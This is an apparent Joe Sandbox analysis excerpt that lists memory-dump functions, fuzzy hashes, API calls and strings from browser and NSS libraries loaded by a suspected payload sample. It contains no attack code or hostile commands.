Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 2c9288e25b2a631a60e976e52bd85c06d77c928771eacc81dd67dfc4ab1289bc
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: 12D14B6EB816460BEB14C97D8CA1FEA77938743378F584329D5219BBF5EA19C8438343

Function 6C34AC60 Relevance: 6.4, Strings: 5, Instructions: 181COMMON

Download Yara Rule

Strings

pLl, xrefs: 6C34ADA7
PLl, xrefs: 6C34ADDB, 6C34ADF5, 6C34AE6A
0Ll, xrefs: 6C34ACC0, 6C34AD22, 6C34AD5E, 6C34AE45
winUnlock, xrefs: 6C34AE18
winUnlockReadLock, xrefs: 6C34AE9F

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID:
String ID: 0Ll$PLl$pLl$winUnlock$winUnlockReadLock
API String ID: 0-182951184
Opcode ID: 2ff63edbde850b9ee96ecb68fb7fd5c273ace5332f4c992ad563e430b3e34002
Instruction ID: a772820efa608a980482572ecf7f7eeee28f56b9185ac330b3f28e853bde300c
Opcode Fuzzy Hash: 2ff63edbde850b9ee96ecb68fb7fd5c273ace5332f4c992ad563e430b3e34002
Instruction Fuzzy Hash: 41719B716082409FDB04CF28EC84AAABBF5FF89304F25C62CF99997241D730A9858BD5

Function 6C46AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7eb3596f0b0a548543018b65285b420245d26ba724389c00e6b3c4c7baee5f2b
Instruction ID: 8c47dd8818e4476c5a3fc32d7ca1f3ba7a844f67102b041cddac979ed5dbe210
Opcode Fuzzy Hash: 7eb3596f0b0a548543018b65285b420245d26ba724389c00e6b3c4c7baee5f2b
Instruction Fuzzy Hash: 54F1DDB1F012258BDB04CF2ACC55FAA77B1AB4A309F26422DD955D7F48E7B09941CBC8

Function 6C420E20 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6C421052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6C421086

Strings

h(Bl, xrefs: 6C420E55, 6C420EC4, 6C420F3A, 6C420FA7
h(Bl, xrefs: 6C421062, 6C42105D, 6C420F37, 6C421081, 6C421082

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: memcpymemset
String ID: h(Bl$h(Bl
API String ID: 1297977491-4249199620
Opcode ID: f2957380860fea16a5bf1fa5c5a4d6cdb07e703810b24007a0c54f60ce709453
Instruction ID: aca63ff9d5d2ba5e37f56be416b2a1455cd0f35ae860d7d4ce63453a18718c46
Opcode Fuzzy Hash: f2957380860fea16a5bf1fa5c5a4d6cdb07e703810b24007a0c54f60ce709453
Instruction Fuzzy Hash: 7AA13B71B0124A9FDB08CF99C895EEEBBF6BF48314B158129E915A7700D739EC51CBA0

Function 6C344DB0 Relevance: 5.3, Strings: 4, Instructions: 318COMMON

Download Yara Rule

Strings

pLl, xrefs: 6C344E1C, 6C344E81, 6C344FDE, 6C345047, 6C3450BB, 6C3451A3, 6C34526C
PLl, xrefs: 6C345019, 6C3450FA, 6C345157, 6C3451DE, 6C3451F2, 6C34520D, 6C345220, 6C3452A2, 6C3452B5
0Ll, xrefs: 6C344EDE, 6C344F82
winUnlockReadLock, xrefs: 6C345125

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID:
String ID: 0Ll$PLl$pLl$winUnlockReadLock
API String ID: 0-3873967910
Opcode ID: c86c8360c1c3f00f0a7fb22ab1777bafe8d99879ca4794d600312a3a2e66c697
Instruction ID: cc2cbe14f6fa000d7e66d1da282451c9baa33813435539f6c47dec4408bcbe63
Opcode Fuzzy Hash: c86c8360c1c3f00f0a7fb22ab1777bafe8d99879ca4794d600312a3a2e66c697
Instruction Fuzzy Hash: A6E14CB0A093418FDB04DF29D98965ABBF0FF89308F12861DE89997351E7709985CF86

Function 6C346F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

*?[, xrefs: 6C347034, 6C347052, 6C347070
unordered*, xrefs: 6C34702B
sz=[0-9]*, xrefs: 6C347049
noskipscan*, xrefs: 6C347067

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: 37400a5914ba552d37e6789c00d7f06c9f06629a205b07901fdc61f65e1573d2
Instruction ID: c02487c67c18f0132f71096bd57f0275d848e403b4e4ba720e167e7676937a95
Opcode Fuzzy Hash: 37400a5914ba552d37e6789c00d7f06c9f06629a205b07901fdc61f65e1573d2
Instruction Fuzzy Hash: 93718B32F111514BEB148E6DC8807DE73E29F86318F298279C865ABBD1D6719C46CFD1

Function 6C3DEE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C3DF019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6C3DF0F9

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: b03419baa48918814ca45905187eef3ad39ba44bfdf0f553baa15674192fdf5a
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: EA918072A0071A8BCB14CF68C8D16AEB7F1BF89324F15462DD962A7B80D731A905CF91

Function 6C402F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6C427929), ref: 6C402FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6C427929), ref: 6C402FE0

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: c86570ebe06fd70c93fe7656312d3cefe79c36fa610a938ed3bb7e2d2c6a7b38
Instruction ID: 3526f1399f77a79640027dd5e1a6eb8868e54343a1a3ff0bfc99482dbac3fc7f
Opcode Fuzzy Hash: c86570ebe06fd70c93fe7656312d3cefe79c36fa610a938ed3bb7e2d2c6a7b38
Instruction Fuzzy Hash: 0951F0B1B869228FD710CF59C880F6A7BB1FB45319F294139D9099BB06C771E946CBC1

Function 6C40ED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6C40EE3D

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: ee07e8f2039f1bf0e2e8a9e60010ec80d3503fcefe5354d99173b7f472ff3ddd
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: 9B71AD72B417058BD718CF59C880F6AB7F2AB88304F15463DD89A97B91D730E951CBD0

Function 6C2D5C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C2A4A63,?,?), ref: 6C2D5F06

Memory Dump Source

Source File: 00000000.00000002.2206661284.000000006C291000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C290000, based on PE: true

Associated: 00000000.00000002.2206605715.000000006C290000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206774883.000000006C30D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206835734.000000006C31E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206892942.000000006C322000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c290000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 9c240fe37d03bc27aee5db7cee1d3406081f971f9b2d27d924631cd83de728e1
Instruction ID: 0fba72bd805d4722913453a7bae76dfdee03f575737e7d863a731865064733c5
Opcode Fuzzy Hash: 9c240fe37d03bc27aee5db7cee1d3406081f971f9b2d27d924631cd83de728e1
Instruction Fuzzy Hash: 83C1C1B5D0124A8FCB04CF59C1906EEBBF2FF8A318F29416DD8556BB45D772A805CB90

Function 6C3CA820 Relevance: 1.4, Strings: 1, Instructions: 169COMMON

Download Yara Rule

Strings

[[;l, xrefs: 6C3CA943, 6C3CA92D

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID:
String ID: [[;l
API String ID: 0-622285989
Opcode ID: 57d2e0b7840a322a38b032540c932ea58cf8fc01ac0bff7433d18c944b145ab0
Instruction ID: dd6e4e1a9aac41ebdc91fc6aace9e570d34b039b72a911d7ce736a34e714a7fe
Opcode Fuzzy Hash: 57d2e0b7840a322a38b032540c932ea58cf8fc01ac0bff7433d18c944b145ab0
Instruction Fuzzy Hash: E9516871B012098FDB04CF15D985BAE7BA5EF49308F26806DE8199B750D731DC51CF92

Function 6C30AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2206661284.000000006C291000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C290000, based on PE: true

Associated: 00000000.00000002.2206605715.000000006C290000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206774883.000000006C30D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206835734.000000006C31E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206892942.000000006C322000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c290000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4cf166fb9cc5c70e5b11c5ff13422bb300784496726f059590509af73a1f4b4c
Instruction ID: e60211a26bc220888eb3be18fc9e04efddf87d2c1767bd26533bae9646eb616e
Opcode Fuzzy Hash: 4cf166fb9cc5c70e5b11c5ff13422bb300784496726f059590509af73a1f4b4c
Instruction Fuzzy Hash: BCF127737087458FD700CE28D8907AAB7E6AFC5318F158A2DE8D48B781E7759885CF92

Function 6C3A8EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7fe5d403ad56e81528a3da48c8a1755fa36af56abc66ff9eb1d4fb9ecaa5c152
Instruction ID: e46931556cfe550caa6817ed0ab13b28e61c477fb8ef56b93eda9cd697c51dbe
Opcode Fuzzy Hash: 7fe5d403ad56e81528a3da48c8a1755fa36af56abc66ff9eb1d4fb9ecaa5c152
Instruction Fuzzy Hash: 73110472A002958FD708CF55E888B5AB3B5FF4531CF04426AD8058FA41D376D8A3CBD2

Function 6C480C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 453d0d0b1888f16f3b1317f879e7edb468024a221c88b61da3bfd6fac0f1c0ae
Instruction ID: ba6cde6bf2319a4de70823a04b5945ed0dcc9ec3666efbcc85e71e78f8710fe1
Opcode Fuzzy Hash: 453d0d0b1888f16f3b1317f879e7edb468024a221c88b61da3bfd6fac0f1c0ae
Instruction Fuzzy Hash: 4411C1747063458FDB04DF18C884EAA77A1FF85368F14806DD8198B701DB71E806CBA1

Function 6C480D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 723775c9f39cd246a0c866c381f280d184d61e5904474fb5db8231ef49ded978
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: E2E06D3A213054A7DB15CE09C450EA973D9DF8561AFA4C47DCC599BA01D633F8038781

Function 6C2DCC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C2A582D), ref: 6C2DCC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C2A582D), ref: 6C2DCC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C30FE98,?,?,?,?,?,6C2A582D), ref: 6C2DCC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C2A582D), ref: 6C2DCC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C2A582D), ref: 6C2DCC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C2A582D), ref: 6C2DCC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C2A582D), ref: 6C2DCCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C2DCCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C2DCCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C2DCCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C2DCCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C2DCD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C2DCD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C2DCD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C2DCDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C2DCDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C2DCDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C2DCDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C2DCE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C2DCE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C2DCE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C2DCE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C2DCE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C2DCE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C2DCE8A

Strings

mainthreadio, xrefs: 6C2DCC7C
stackwalk, xrefs: 6C2DCCF8
Unrecognized feature "%s"., xrefs: 6C2DCEA0
ipcmessages, xrefs: 6C2DCDBE
fileio, xrefs: 6C2DCC92
jsallocations, xrefs: 6C2DCD0E
notimerresolutionchange, xrefs: 6C2DCE00
audiocallbacktracing, xrefs: 6C2DCDD4
default, xrefs: 6C2DCC21
unregisteredthreads, xrefs: 6C2DCE58
fileioall, xrefs: 6C2DCCA8
power, xrefs: 6C2DCE84
preferencereads, xrefs: 6C2DCD92
leaf, xrefs: 6C2DCC66
markersallthreads, xrefs: 6C2DCE42
samplingallthreads, xrefs: 6C2DCE2C
cpuallthreads, xrefs: 6C2DCE16
screenshots, xrefs: 6C2DCCD4
nostacksampling, xrefs: 6C2DCD7C
nativeallocations, xrefs: 6C2DCDA8
java, xrefs: 6C2DCC37
noiostacks, xrefs: 6C2DCCBE
processcpu, xrefs: 6C2DCE6E
seqstyle, xrefs: 6C2DCCE6

Memory Dump Source

Source File: 00000000.00000002.2206661284.000000006C291000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C290000, based on PE: true

Associated: 00000000.00000002.2206605715.000000006C290000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206774883.000000006C30D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206835734.000000006C31E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206892942.000000006C322000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c290000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 057fd346e46d351ac01d95d6e77a3bc1cd68e2f04aa1e626fcff9507563a6ee1
Instruction ID: ed9e90cdb5fc13654b8ff1a90c8b6968eb1bd5934a887228313b357aca80213c
Opcode Fuzzy Hash: 057fd346e46d351ac01d95d6e77a3bc1cd68e2f04aa1e626fcff9507563a6ee1
Instruction Fuzzy Hash: 1051B8D6B1522E22FA0434156D10FAA5605EB3364BF25403AFD49A1EC4FB1CB219CEBB

Function 6C2A4470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

